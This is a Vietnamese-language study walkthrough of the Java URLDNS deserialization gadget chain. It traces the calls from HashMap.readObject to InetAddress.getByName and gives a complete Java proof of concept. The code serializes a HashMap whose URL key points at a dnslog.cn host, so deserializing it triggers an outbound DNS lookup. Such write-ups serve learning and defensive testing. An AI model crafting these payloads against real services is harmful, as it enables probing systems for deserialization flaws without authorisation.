Cách hoạt động của chain.
HashMap.readObject()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
InetAddress.getByName()
Gadget tồn tại trong rt.jar của java với mục đích là tạo dns lookup tới domain tuỳ ý.
Đặt breakpoint tại HashMap.readObject()
Vào chức năng debug
Hàm main phân tích
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class Main implements Serializable {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url= new URL("http://nx3344.dnslog.cn"); //dnslog
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, -1 );
hashMap.put(url, "time");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("url.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("url.bin"));
ois.readObject();
}
}
Vào hàm hash() thì gọi tới hashCode()
Do để gọi tới URLStreamHandler.hashCode() cần set cho hashCode của URL = -1
Tiếp tục vào trong URLStreamHandler.hashCode()
Method này gọi tới URLStreamHandler.getHostAddress() với URL object ban đầu.
Với InetAddress.getByName() chính là method thực hiện resolve dns với domain ta truyền vào.
Đây cũng được chính là sink của gadgetchain này.